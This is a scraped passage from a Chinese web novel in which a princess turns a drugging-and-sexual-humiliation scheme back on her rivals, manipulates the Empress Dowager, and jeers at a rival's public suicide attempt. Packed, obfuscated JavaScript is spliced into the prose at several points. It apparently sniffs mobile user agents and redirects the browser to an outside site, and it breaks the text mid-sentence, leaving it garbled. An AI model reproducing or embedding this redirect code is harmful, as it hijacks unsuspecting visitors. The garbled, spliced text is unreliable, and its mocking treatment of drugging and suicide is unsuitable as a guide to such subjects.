信武侯夫人忽然也觉得哪里不对,又觉得不大可能,事情一定按照她设计好的那般发展。 有人不确定的嘀咕:“崔小姐去哪里了?” “说是衣服脏了,去更衣了。” 信武侯夫人心神又安定几分,惜颜心仪霍承安,定然不会乱来,里头的人肯定就是慕馨宁。 哼,等所有人看见慕馨宁的丑态,看那个**还怎么再给她添堵! 里头很快传来男人的声音,他的话让众人差点惊掉下巴:“可能是你娘来了,她说要在这里跟我好好欢爱一场……” 众**惊,不可置信的看向信武侯夫人。 这什么意思,难道信武侯夫人跟崔惜颜母女,竟然和同一个男人发生了那种关系? 信武侯夫人脸色难看,不受控制的快步往里走。 该死的狗奴才到底做了什么,她一定要将那个狗奴才大卸八块喂狗才行! 床幔遮着里头的情景,即使信武侯夫人脚步越来越快,里头的对话还是没有停止。 崔惜颜似乎有抱怨:“你和我在一起,怎么还要约她,这要是被她撞见,我们情何以堪?” 男子一笑:“哎呦装什么,以前咱们三个又不是没一起玩儿过,你们不是都觉得挺有意思?” 第162章 舍不得下床 众人:“……” 母女和同一个男人,而且还一起那个,这简直是太恶心了吧! 这信武侯一走,侯夫人就把持不住了? 再说崔惜颜不是盼着嫁给霍承安么,怎么还能做出这么不要脸的事情? 这种事情要是传出去,那侯府和太后的脸不是丢尽了! 男子的声音又响了起来:“再说你明日就要嫁到国公府了,以后我们见面的机会就少了,这一次我们可要玩儿个尽兴才行……” 女子娇嗔道:“讨厌……” “娘你快些……我都等不及了……” 听了这话,众人面面相觑。 想到三人在一起的情形,有人已经捂着胸口开始犯恶心。 侯夫人加快脚步,一心想要看清床幔里头的情形,都忘了替自己辩解几句。 终于到了床边,她扭曲着一张脸,一把扯开床幔,当她看见里面的情形,顿时吐出一口血来。 男子和崔惜颜衣衫不整,一上一下,似乎正在做那种事情。 崔惜颜已经泪流满面,可是男子却一脸激动:“侯夫人来了,别着急,再过片刻,我就伺候好了您的女儿,马上就来伺候你……” “你……你们……这……” 信武侯夫人嘴角带血,说话结结巴巴,最后两眼一翻直接昏**过去。 崔惜颜撕心裂肺的喊了一声:“娘……” 崔惜颜想要下床查看信武侯夫人的情况,可是她身上一点力气都没有,她咬牙切齿的喊慕馨宁的名字:“慕馨宁,你这个**,我跟你没完!” 她不过是想换一身衣服,没想到走着走着忽然就没了知觉,一睁眼,她就在这里了。 这一切的罪魁祸首,肯定是慕馨宁,她发誓,有朝一日,一定要喝慕馨宁的血、啃慕馨宁的骨头! 晏骁寒紧皱的眉头舒展,紧握的拳头也松了,他薄唇紧抿,没想到竟然是一场好戏。 他也觉得,就算这女人再饥不择食,除了被人算计,定然不会在侯府做出这种事情来。 就在这时,外头响起慕馨宁懒散的声音:“叫本宫干什么,让本宫来观赏你们母女三个的好事?” 众人让开一条路,慕馨宁缓步走进,手里还掐着一把粉色绣球。 “去哪了?”头顶传来晏骁寒低沉的声音。 慕馨宁笑着抬头看他:“在花园里透气,没想到侯府的绣球开的正好,我就折了两支,打算放进花瓶里养。” 说着,她将手里的花递到晏骁寒面前:“好看吗?” 晏骁寒:“嗯,不错。” 众人:“……” 眼下崔惜颜还被那个狂徒压在身下,侯夫人吐血昏迷。 如此情形,你们竟然在打情骂俏? “慕馨宁……我跟你不共戴天!”崔惜颜泪流不止,淬了毒的目光落在头顶的房梁上。 鸦羽吞了吞口水,缓解了喉咙的干涩。 因为刚刚和那个男人打情骂俏的话,是她学着崔惜颜的声音说的。 鸦羽面无表情的看了崔惜颜一眼,随即整个人隐匿在黑暗中,再也看不清踪影。 崔惜颜知道,这一切都是慕馨宁的手笔,她恨慕馨宁入骨,想要了慕馨宁的命,可是她却依旧动不了。 慕馨宁看着她狼狈的样子,笑了笑:“你跟别的男人厮混,跟本宫有什么关系。” “瞧瞧,这么多人都在,你还舍不得下床,你是有多饥渴?” 不等崔惜颜说话,慕馨宁又道:“我们大家快走吧,别耽误人家的好事,免得被人记恨。” 说着,她拉着晏骁寒的手就往外走。 众人看崔惜颜的目光满是嘲讽,也不管地上的侯夫人是死是活,都跟着离开。 “不……我……” 崔惜颜肝胆俱裂,想要解释,却被身上的男人捂住了嘴。 她的呜呜咽咽,被外人听来,倒像是欲求不满。 出了侯府,慕馨宁手里的大手被一把抽了回去。 她诧异的侧头,对上男人深邃的眸子:“你以为,我这就原谅你了?” 她在府里跟那么多男人寻欢作乐的事情,他绝对不会善罢甘休。 慕馨宁动了动唇,想要解释 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晏骁寒本来是朝着书房的方向走,忽然又顿住脚步,朝自己的主院而去。 “你等等我,你听我解释行不行!” 慕馨宁急着追人,也看不清脚下,话音落,忽然脚一滑,整个人摔了个狗吃屎。 幸好她的双手以最快的速度撑在了地面上,不然得摔毁容不可。 “主子,您没事吧!” 鸦羽担忧的声音响起,慕馨宁没动,等着她来扶。 结果等了半天,也没见人影。 她手上疼的厉害,硬撑着要起身,一抬头,就看见晏骁寒笔直挺拔的人影。 “摔疼了?”他居高临下的看她,态度疏离,语气中,似乎又带着几分关心。 慕馨宁抬手,当晏骁寒看见她一手血之后,脸色顿时就变了。 他连忙蹲下身,一把抓住她的手腕,急切道:“怎么弄的,也不小心些!” 第163章 下狠手 下人提着灯笼过来,慕馨宁流血的手心,还粘着几颗刺进皮肉的石子。 晏骁寒面色森寒,语气也是冰冷:“即墨,把那些个洒扫的下人都给本官打一顿板子,然后逐出府。” “是,主子。” 即墨嘴角抽了抽,以前这院子好几日不打扫,自家主子也不在意,就因为长公主这一跟头,那些个下人可是有苦头吃了。 晏骁寒拉着慕馨宁朝着自己的卧房走,可能又觉得慕馨宁脚步太慢,于是一个弯腰,就将人抱在了怀里。 慕馨宁本能的搂住晏骁寒的脖子,感受到男人温热的呼吸和似有若无的心跳,又有些心猿意马。 生气归生气,他心里,还是在意她的吧? 吴萸在书房等了晏骁寒半天,也没见人影,听见外头的动静,就出来瞧瞧。 当他亲眼看见晏骁寒抱着慕馨宁往卧房走之后,一个不小心,人差点摔趴下。 姬无忧说的没错,摊上慕馨宁这个女人,骁寒是彻底毁了。 他无奈的回了书房。 已经等候晏骁寒多时的谋士和下属们的眼神,齐刷刷的看向他。 吴萸揉了揉自己有些扭曲的脸,叹了口气:“等着吧,长公主来了。” 不知是谁,好奇的来了一句:“今日也给大人写了淫诗?” 吴萸:“……可能是**。” 众人:“……” 此时,晏骁寒房里。 慕馨宁就坐在椅子上,任由晏骁寒蹲在自己面前,动作轻柔的清理她手上的伤口。 半个多月不见,晏骁寒瘦了一圈,人也黑了一些,脖子上有一道浅浅的伤口,已经结痂。 不知路上是否遇见了危险,是否又遇见了刺客。 她忽然有些心疼,举着受伤的两只手就要攀上他的脖子,好好跟他亲近,却被晏骁寒给躲开了。 慕馨宁心里有些失落。 男人将最后一层纱布系好,然后站起身来:“不要碰水。” 慕馨宁见他态度又恢复了之前的冷淡,到嘴边的解释感觉又有些多余。 “那……我先走了。” 慕馨宁看了看自己包扎的双手,抬步出了门。 这时,迎面走来一个素衣女子,女子容颜姣好,体态婀娜,妥妥的大家闺秀。 那女子见了慕馨宁,不慌不忙的行礼:“见过长公主。” 慕馨宁打量她两眼,转头问不远处的即墨:“晏骁寒的亲戚?” 即墨:“主子老家的表妹,我们在路上遇见了一些麻烦,还是她出手帮忙,她父母早逝,家里就她一人,主子担心她的安危……” 话没说完,门口传来晏骁寒冰冷的声音:“多嘴!” 即墨摸了摸鼻子,有些慌。 那女子嫣然一笑,对慕馨宁道:“琉璃与大人青梅竹马,他过世的未婚妻,正是琉璃的姐姐……” 慕馨宁握拳,心头一沉,心里多了几分落寞。 或者这个所谓的表妹,更能得晏骁寒的欢心吧。 看着慕馨宁离去的背影,琉璃眼里闪过一抹得意。 以前,她觉得晏骁寒就是天上高不可攀的月亮。 不过如今,她能进的了府,当然就有近水楼台先得月的机会。 所以,就算是长公主,那也只能排在她的后头了。 “长公主,太后娘娘旧疾复发,召您入宫侍疾。” 慕馨宁刚出府门,王福带着人像是已经等候片刻的样子。 慕馨宁打量他两眼,既然来了,却没有进府,是不是这就说明王福做贼心虚,太后已经准备好如何算计她,又不想让这件事被晏骁寒知道。 慕馨宁回头看了一眼里头,刚刚那个什么表妹,手里可是端着对晏骁寒嘘寒问暖的参汤。 若是参汤里再加点料,估计没一会儿两个人就能滚在一起了,晏骁寒哪有心情再惦记自己? 明知此去凶险,她还是上了马车,往皇宫的方向走。 后头,鸦羽接了同伴的禀报,很快打马追上慕馨宁的马车:“主子,我们的人也回来了,说首辅大人途中遇三场刺杀,两次下毒,还有一次美人计,前几日,首辅大人**时我们的人出手相救,却被他那位表妹……抢了功劳……” 慕馨宁眉头微皱,果然看人不能看表面,那女子瞧着柔柔弱弱唯唯诺诺,没想到竟然还会耍这种手段。 杜若直接急了:“那这件事我们应该让首辅大人知道才行,她那个表妹抢了我们的功劳不说,万一来个挟恩图报可怎么办!” 慕馨宁揉了揉太阳穴:“再说吧。” 她要是说出真相,晏骁寒为未必会相信吧,只觉得她是嫉妒那个所谓的表妹,抢那个表妹的功劳。 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别说信武侯夫人母女如何丢人,就说国公府,也断然不会再让崔惜颜嫁过去,哪怕是做妾,做通房丫鬟,崔惜颜都不可能再进的了国公府的大门。 即使崔惜颜肚子里真怀了霍承安的种,国公府也定然会怀疑,崔惜颜肚子里的孩子,是那个野男人的。 所以,太后拉拢国公府的事情不但泡汤了,信武侯夫人母女也落得个身败名裂,太后的老脸也算丢光了。 这笔账,她当然要跟慕馨宁算了。 上次主仆二人能逃脱太后的‘魔爪’已经是侥幸,这次断然是没有之前那么幸运。 杜若都已经做好了竖着进宫,横着出宫的准备。 慕馨宁本来也犯愁,又想起晏骁寒那个所谓的表妹,顿时心里堵的不行。 一路上,慕馨宁都沉闷着,刚到景阳宫门口,她忽然灵光一现:“有了!” 杜若诧异:“主子,什么有了?” 慕馨宁给了杜若一个‘瞧好吧’的眼神,狠狠掐了自己一把,很快便眼泪汪汪。 杜若看傻了,不知自家主子到底是何意。 “母后……母后要给儿臣做主啊……” 慕馨宁又刻意弄乱自己的头发和衣装,然后哭啼啼的冲进了景阳宫。 第164章 一阵反胃 太后原本‘病恹恹’的躺在软榻上,听见慕馨宁撕心裂肺的哭声,顿时疑惑起来。 那个**,上次把她气个半死,如今竟然找她做主,真是稀奇。 慕馨宁直接扑到了太后怀里,差点把太后的肋骨压断。 “母后,母后你可要给儿臣做主,儿臣不想活了……” 太后疼的眉头紧皱,强忍着给慕馨宁一巴掌的冲动。 她阴沉的脸色缓和两分:“何事?” 慕馨宁就将在公主府和几个美男打情骂俏,被回来的晏骁寒撞见的事情说了。 又说她如何向晏骁寒解释,如何讨好晏骁寒,却被晏骁寒冷漠无情的赶出府。 还说晏骁寒带回来一个表妹,两个人已经睡过了。 太后眼皮子跳了跳,有些怀疑,慕馨宁和晏骁寒,这就闹掰了? 毕竟之前,包括她在内,那么多人想方设法挑拨两个人的关系,都以失败告终。 一旁的芝嬷嬷眼珠子转了转,然后苦口婆心的道:“长公主,有句话老奴一直没说,当初首辅大人与您定下婚约未必是真心,你们二人方方面面相差悬殊,他除了利用您,就是挑拨您和太后的关系。” 慕馨宁哽咽着点头:“是我看错了他,说什么生我的气,估计就是他想娶他那个表妹,所以故意挑我的错处,毕竟我以前是什么样子他又不是不知道,我这都收敛多少了。” 太后赞赏了看了芝嬷嬷一眼。 然后芝嬷嬷继续道:“如今他要跟你翻脸,还不是因为你所有的家当都送到了他府上,八十万两,简直是比皇上的国库还富有,他又见你彻底跟太后娘娘翻了脸、毁了自己的前途,这才将你一脚踹开的!” 芝嬷嬷说的头头是道,慕馨宁擦了擦眼泪,点头如捣蒜:“母后,以前儿臣忤逆您,那都是晏骁寒给儿臣出的主意,您要打要骂,儿臣愿意受罚,还请母后不要因此跟儿臣生分了,儿臣离不开您啊!” 慕馨宁说着,跪在地上,朝着太后砰砰砰的磕头。 没人注意到,门口有个丫鬟,脸色古怪的悄悄退了下去。 眼看着慕馨宁的额头就肿起来一个包,马上就要流血,太后吃力的想要撑着身子起来去扶慕馨宁,可是又无力的躺下了。 她柔声道:“好孩子,你可是母后看着长大的,母后怎么会生你的气,好了好了……磕坏了脑袋,母后该心疼了,你快将人扶起来!” 太后说着,就招呼芝嬷嬷。 芝嬷嬷将慕馨宁扶起来,用袖子擦了擦眼角的泪:“长公主能和太后重归于好,老奴真是替太后娘娘开心。” 王福夹着手里的拂尘,将眼前的一切尽收眼底。 就在母女两个握着彼此的手,想要互诉衷肠的时候,王福忽然开口:“太后,这信武侯府的事情,又该如何?” 太后眸色微闪,想起侯府闹出来的丑事,顿时感觉脑瓜仁都疼。 她用力握了握慕馨宁的手,盯着慕馨宁那张脸,想要从中看出一些端倪。 “宁儿啊,这件事到底跟你有没有关系?” 慕馨宁犹豫了一瞬,然后又跪在地上,诚恳道:“母后恕罪。这件事确实是儿臣所为。” 太后一阵头晕目眩,差点就让人将慕馨宁给拖下去。 然后就听慕馨宁道:“这也不能完全怪儿臣,她们母女两个在儿臣的酒里下药,又安排一个身患脏病的男人色诱儿臣,还想让所有人都去看儿臣跟那个男人的床事,儿臣气不过,所以就还击了……” 太后紧紧扯着身上的被子,无奈的闭了闭眼,那母女二人真是愚蠢,既然安排了这种事情,那就应该天衣无缝,没想到竟然轻易就被慕馨宁给反击了,真是气死她了! 慕馨宁脸色惨白,小心翼翼的看着太后,像个犯错的孩子:“母后,儿臣知错了……” 太后叹了口气:“算了,这你舅母和惜颜有错在先,不能怪你。” 太后说出这句话的时候,喉咙里都有了腥甜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815353|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 要不是情形所迫,还要再继续利用慕馨宁,她恨不得现在就要了这个**的命! 太后如此态度,芝嬷嬷和王福都惊住了,本来太后就是因为这件事想要发难长公主,这怎么忽然又向着长公主说话了? “太后娘娘,药熬好了。”这时,宫女端着汤药从外头进来。 不等芝嬷嬷伸手,慕馨宁连忙端了过去:“儿臣来服侍母后喝药。” 慕馨宁生怕太后烫到,不停的吹着汤匙里的药,眼看着她的吐沫星子落进汤匙,太后一阵反胃。 药递到太后嘴边,太后咳嗽了一声:“哀家暂时不想吃,吃了这药就犯困,再等天色晚一些,哀家再和你多说两句话……” 慕馨宁点头,又跟太后说了好些个话,最后搞得口干舌燥,也没敢喝景阳宫的一口水。 “好了,夜都深了,哀家也累了,你也回去吧。” 最终太后熬的眼皮子都抬不起来,这才放过了慕馨宁。 慕馨宁乖乖的给太后行礼,临走之前忽然开口:“母后,听说晏骁寒去南方查赈灾银失踪案,你说他到底查没查出什么来?” 太后面色一变:“明日哀家让人打听打听吧。” 其实她早就让人去打听了,她也猜到,既然晏骁寒这么快回来,而且活的好好的,定是拿到了什么对她不利的证据。 她早就让人去打听,可是直到现在也没个结果,她要做好最坏的准备了。 “母后好好休息,儿臣告退。”慕馨宁扫了一眼太后的脸色,眼底有什么情绪一闪而过。 等出了宫,上了马车,慕馨宁整个人都瘫坐在角落里。 杜若浑身的冷汗还未干透:“主子您太厉害了,本以为这次进宫,太后定会为难您的。” 她虽然松了口气,可是看着慕馨宁红肿的额头,心里又是一阵心疼。 慕馨宁嗤笑一声:“你以为,我演一场戏,她就能真的放下对我的仇恨,把我当成她的亲女儿?” 第165章 丢人现眼 杜若张了张嘴,有些天真道::“好歹,她不会对您下毒手了吧?” 慕馨宁语气肯定:“那只是暂时的,她只是想利用我,让我替她对付晏骁寒和永平帝呢。” 信武侯身体越来越差,信武侯夫人和崔惜颜身败名裂,易王那边名声受损。 还有,太后之前不但损失十万两黄金,又丢了金矿,现在因为宋菀菀的事情也束手无策。 所以,老妖婆当然要抓住再次利用她的机会。 一提起这件事,杜若脸色白了白:“您还说要刺杀晏首辅,让首辅大人倒台,这件事要是传到他耳朵里……” 那晏骁寒第一个要杀的,不会是自家主子吧? 慕馨宁揉了揉太阳穴:“我这不也是没法子,我若是不投诚,你以为那老妖婆今日能放过我?” 慕馨宁一口气喝了一壶茶,口干舌燥的感觉这才缓解过来。 杜若嘴角蠕动两下:“您这是拆了东墙补西墙。” 慕馨宁也觉得这句话来形容自己,特别贴切,可是,她又有什么办法呢。 马车走着走着,忽然停了下来。 杜若掀开车帘,探出头去:“怎么了?” 鸦羽一脸严肃道:“前头有辆马车坏了,一时半会修不好。” “主子,那我们是等着,还是绕小路?”杜若心里打鼓,觉得这件事似乎有蹊跷。 慕馨宁嘴角扯了扯:“不就是一辆坏了的马车,本宫买了,我们的人想怎么拆就怎么拆,不要挡我们的路便可。” 鸦羽拿着银子上前跟马车的主人商量,那马车的主人死活不收银子,说就要他的马车。 鸦羽当时就发现情况不对,刚要把那几个人抓起来,黑衣人铺天盖地而来。 鸦羽脸色微变,当即吹了一声口哨,一场杀戮又开始了。 上次宫宴,慕馨宁小命儿差点搭在路上,鸦羽和玄翎早就加派了人手暗中保护慕馨宁的安全,这次虽然黑衣人很多,但是慕馨宁的人也不少,她也没什么怕的。 “留他们一条命,让他们去给本宫做苦工。” 侍卫、暗卫,加上源源不断而来的私兵,那些个刺客最终还是以失败而告终。 “殿下,重伤三个,轻伤八十六个,跑了十几个,该如何处理?” 一切终归于平静,刘营面色凝重的上前禀报。 慕馨宁:“该治病的治病,废了他们的功夫,戴上**脚铐,送到作坊上去给本宫做苦工。” 慕馨宁正愁去哪里招工呢,这不就送上门来了,九十多个人,她一文钱都没花,太划算了。 刘营掸了掸肩上的灰尘,回头看那几十个黑衣人,目光中似乎有几分同情,更多的还是幸灾乐祸。 晏骁寒带着人赶到的时候,就见几十个黑衣人跟蚂蚱一样被绑成长长的一大串,一眼望不到头。 即墨差点惊掉下巴:“这刺客不杀,竟然还留了他们一条命,长公主难道想要刑讯逼供?” 要是刑讯逼供,随便抓几个主要的人就行了,至于留这么多活口? 忽然想到某种可能,即墨差点被自己的口水噎到。 长公主不会是在自家主子这里受了挫折,又恢复了**的本性,想要跟这些刺客寻欢作乐吧? 晏骁寒面无表情的打马,隐没在黑暗中,等慕馨宁的人越来越近,即墨这才连忙躲了起来。 慕馨宁好心情的回府,正打算回房好好休息,睡个天昏地暗。 没等到主院,忽然听见一阵奇怪的声音。 好像有人在求救。 慕馨宁竖起耳朵,寻着声音往后院走。 府中几个下人见了她,面色古怪的跟她行礼。 最终,慕馨宁的目光落在不远处的凉亭上。 “嗯,殿下不要……好痛……” “不要什么,今儿你不把老子伺候好了,明儿老子就把你发卖到青楼!” 纳兰倾骂了一声,巴掌狠狠地拍在身下男子的屁股上。 慕馨宁见此,顿时气的七窍生烟:“纳兰倾!” 两个人正要大干一场,听见慕馨宁的怒吼,都吓了一跳。 纳兰倾连忙裹上自己半裸的身子,一脸恼火的看向慕馨宁:“干什么,大晚上的,你想吓死我!” 慕馨宁脸色难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就在慕馨宁一脸疑惑的时候,她拿着自己的宝剑就大刀阔斧的往外走:“来人啊,跟老子去晏骁寒府上,敢欺负阿宁,老子非要剁了他!” 虽然有时候她也瞧不上阿宁,但是阿宁只能她一个人欺负,别人若是敢,她就让那人吃不了兜着走! 第166章 门口上吊 慕馨宁整个人石化。 说不感动是假的。 哪怕是永平帝和太后,对晏骁寒都要礼让三分。 纳兰倾为了她,竟然敢去找晏骁寒报仇,这全天下,对她这么好的,怕是也就只有纳兰倾一人了。 “别,那个误会……” 眼看着纳兰倾提着剑越走越远,慕馨宁连忙追上去。 纳兰倾半点也不信:“误会,哪来的误会,阿宁你别怕,就算老子今天把他剁了,你们东陵皇帝看在老子皇太女的身份,也不敢把老子怎么样!” “你要剁了谁?” 慕馨宁还没来得及开口,不远处忽然响起男人冰冷的声音。 看清来人,慕馨宁心里咯噔一下。 纳兰倾直接拔剑,怒指晏骁寒:“你说,阿宁的额头,还有这手,你怎么弄伤的!” 晏骁寒的脸色冰冷,冰冷的目光看向慕馨宁:“你如何与她说的?” 宫里传出来的消息,他本以为只是一个误会,所以特意来找她证实真假。 没想到这女人敢跟纳兰倾颠倒黑白胡言乱语,那她能在太后跟前说出那种话来,就不觉得奇怪了。 慕馨宁有些慌,勉强露出一抹笑容:“都是误会……” 纳兰倾还以为慕馨宁是怕得罪晏骁寒所以怂了,还安慰她:“阿宁你别怕,有我在,他不敢把你怎么样,今天我定要为你出口恶气!” 今日晏骁寒害得阿宁受伤,平日里定也没少欺负她。 纳兰倾越想越气,举着剑就朝着晏骁寒冲了过去。 慕馨宁彻底慌了,不是担心晏骁寒,而是担心纳兰倾。 晏骁寒文武双全,曾私下和新科武状元比试,轻易就胜出。 而纳兰倾,三脚猫的功夫,比她强不了多少,若是晏骁寒想要她的命,轻而易举。 “别,别伤了她,有话好好说!” 原本,晏骁寒心里还有一丝动容,觉得这女人还算有些良心,竟然担心他的安危。 可不经意的一撇,发现这话是对他说的,他的脸色瞬间黑如锅底。 他一个转身,手里就多了一把软剑。 纳兰倾咋咋呼呼的刚冲过来,那把软剑直接就架在了她的脖子上。 纳兰倾整个人面如土色,石化在原地,难道今日,她的小命儿就要交代在这里了? “不……不要!”慕馨宁腿都软了,差点给晏骁寒跪下。 “有话好好说,求求你,高抬贵手……高抬贵手……” 慕馨宁连忙给晏骁寒使了个眼色:“只要你放了她,你伤我的事情,我们可以不计较。” 晏骁寒当然懂了。 他冷哼一声,揪着纳兰倾的后衣领,直接将人拎进不远处的偏厅,然后粗鲁的丢在地上。 房门关上,房间里只有三人。 慕馨宁环顾四周,见没有外人,这才好好将事情解释了一番。 纳兰倾狼狈的从地上爬起来,顿时暴跳如雷:“这是人办的事?你竟然连我也骗?” 为了给慕馨宁出气,她的小命差点就丢了,脸面也丢尽了,最后竟然只是个误会? 天杀的慕馨宁! 慕馨宁连忙解释道:“你要是私下问我,我就跟你说实话了,可是这府上人多眼杂,谁也不知道哪个吃里扒外做了别人的眼线,我只能先敷衍你了。” 纳兰倾依旧气的不行:“嘿,你还有理了!” “那个……没什么事你先出去吧,我有话跟晏骁寒说……” 慕馨宁硬着头皮,直接将纳兰倾往外赶。 纳兰倾恨的磨牙,最后一拍桌子,还是出了门。 砰的一下,重重关上的房门,代表了她无尽的愤怒。 房间里只剩下晏骁寒和慕馨宁两个人。 慕馨宁看着那张依旧挂着寒霜的俊脸,不安的道:“虽然这件事是我的错,但是我也算帮你对付了崔惜颜母女两个,省的他们攀上安国公府的关系给你和皇兄添堵不是,你就别生气了。” 晏骁寒冷笑一声:“冠冕堂皇的话,你倒是很会说。” 慕馨宁尴尬的有些无地自容:“我说的也是事实。” “殿下。” 气氛正尴尬着,外头传来刘营的声音。 刘营大步进门,当他看见晏骁寒之后,顿时有些不自在。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815355|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “何事?”慕馨宁问。 刘营:“没什么,人……安顿好了……” 慕馨宁点头:“那就好,好好看着,别让他们跑了,回头让老头儿研制点**,定会让他们乖乖听话。” “谁的人?” 晏骁寒当然知道刘营说的,是半路上抓回来的那几十个刺客。 刘营挠了挠头,半天没有说话。 慕馨宁皱眉,忽然察觉到什么:“你的意思……” 她不可置信的看向晏骁寒。 晏骁寒能有什么不明白的,他脸色黑的可怕,冷哼一声就要离开。 慕馨宁情急之下,一把从后头搂住了晏骁寒的腰:“黑衣人说是你指使,可是我又没怀疑你,别生气……” 刘营挠了挠鼻子,连忙收回目光,转身就退了下去。 房门再次关上,晏骁寒沉着脸拿开她的手,不想与她多说的样子。 慕馨宁见他态度如此冷漠,一时间竟然有些不知所措:“那,那你走吧……” 晏骁寒微愣,这个女人以前纠缠他时,不是很厚颜无耻,怎么今日却收敛起来了? 他在原地站了片刻,慕馨宁迟迟没有动作,最终还是拂袖离去。 慕馨宁心情糟糕透顶,她躺在床上,一闭上眼,就想起晏骁寒来。 想晏骁寒误会她跟别的野男人厮混,又想晏骁寒对她疏远的态度。 她绞尽脑汁也想不出什么挽回的办法。 又想起晏骁寒那个所谓的表妹,心情就更遭了。 好不容易,终于有了点睡意,外头又下起了大雨来。 慕馨宁更睡不着,索性起来做点正事。 之前当着姬无忧和那么多百姓的面说建学堂的事情,一直也没个头绪,如今正好仔细琢磨琢磨。 等慕馨宁将一切都规划好,天都要亮了。 她这才打着哈欠,上了床。 日上三竿时,慕馨宁睡的正香,梦里她终于将晏骁寒彻底拿下。 原本她还沉浸在销魂的美梦中,杜若急切的声音在耳边响起:“主子,不好了,崔小姐要在咱们公主府门口上吊了,您快去瞧瞧吧!” 第167章 棺材停公主府门口 慕馨宁这下是听清了,她依旧不为所动:“死就死,去找刑部或者大理寺盯着,崔惜颜就是死在公主府门口,跟本宫可没有半点关系。” 不用想也知道,昨夜信武侯府的丑事已经传遍整个京城,安国公府肯定是跟崔惜颜又退了婚。 崔惜颜这一下子是彻底颜面无存,她想死,又不想让慕馨宁安生。 “你们所有人都好好看看,我就是被慕馨宁给害死的,她就是个手段卑鄙心思歹毒的女人!” 长公主府门口,崔惜颜的白绫已经挂在了旁边的开的正灿烂的百年丁香树上。 众人朝着她指指点点: “崔小姐,我们听说明明就是你昨日跟那个野男人在阁楼私会,这跟长公主有什么关系?” “难道跟你和你娘厮混的那个男人,是长公主玩儿剩下的?” 此话一出,众人哈哈大笑出声。 崔惜颜气的浑身颤抖:“胡说,我和我娘都是被长公主算计的,是她害的我们,放着那么好的承安不嫁,我为什么要跟一个染病的小倌儿厮混在一起!” 杜若双手环胸,从人群里挤出来:“你说我家主子害你,那我问问你,那个男人是怎么进的你家阁楼,你又怎么知道他是个小倌儿,还染了病?” 此话一出,崔惜颜身子一僵,众人也是一脸疑惑。 崔惜颜半天哑口无言,想找个借口,杜若又抢先道:“那个小倌如今应该还在京兆府牢里关着,至于真相如何,不如请京兆府尹好好查一查,让我们大家都明白明白真相如何?” 崔惜颜顿时有些惊慌,因为那所谓的真相,也是见不得光的,一但将真相公布,那她和母亲的名声估计只会更差。 “好一个伶牙俐齿的贱婢,你当真是跟你的主子蛇鼠一窝,你们害得我家破人亡,我和哥哥,就算做鬼,也不会放过你们的!” 崔惜颜一脸决绝,径自上了木凳,将自己的脖子挂在了白绫上,踹开了脚下的木凳。 当她整个人挂在白绫上的时候,顿时后悔了。 原来上吊也这么痛苦,脖子仿佛要断了,一口气也喘不过来,而且她……她好像要失禁了…… 众人又害怕又好奇,吊**不是没见过,活人当着他们的面吊死的,还是开天辟地头一回, “哎呦……这这要出人命了……长公主也不来管一管!”看热闹的百姓见崔惜颜真要死,又有些担忧,毕竟这也是一条人命。 “哎呀我们快躲远一些,太晦气了!” 崔惜颜越来越痛苦,开始拼命挣扎,她朝着众人挥舞着双手,希望等得到他们的相救。 这时,京兆府那边来了官差,崔惜颜本以为能够得救,杜若直接将人挡住:“官差大人,你们可看好了,是那个崔小姐自己非要在我们公主府门口吊死的,跟我们公主府可没关系,大家都能作证!” 几个官差面面相觑,一时间也不知道该说什么才好。 “小姐,啊小姐你怎么能就这么**……来人……救命啊……” 眼看着崔惜颜就要一命呜呼,她的丫鬟终于姗姗来迟,她扑上前,一把抱住崔惜颜的双腿,想要将人旧救下来,可是她的力气太小了。 幸好后面又有个侯府的侍卫上前,连忙割断了那条白绫,崔惜颜这才得以保命。 她狼狈的跌坐在地上,气还没喘匀,人群中有个小孩子忽然惊呼出声:“尿了,她尿裤子了,真丢人……我才六岁都不尿裤子……” 嘲讽和嫌弃的目光,让崔惜颜恨不得找个地缝钻进去。 最终,她两眼一翻,就晕**过去。 丫鬟和侍卫手忙脚乱的抬着狼狈的崔惜颜去了医馆。 众人见没热闹可看了,还有些失望。 因为从头到尾都没见慕馨宁出来。 “啊呜呜……爹啊……你死的好惨啊……” “啊……我苦命的相公啊……” 围观的众人刚要各回各家,不远处忽然传来凄厉的哭嚎声,还没看清人影,却第一时间看见了漫天的纸钱。 有人惊呼一声:“我听说昨日苟御史**,这好像是苟御史的妻儿啊……” “他昨日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 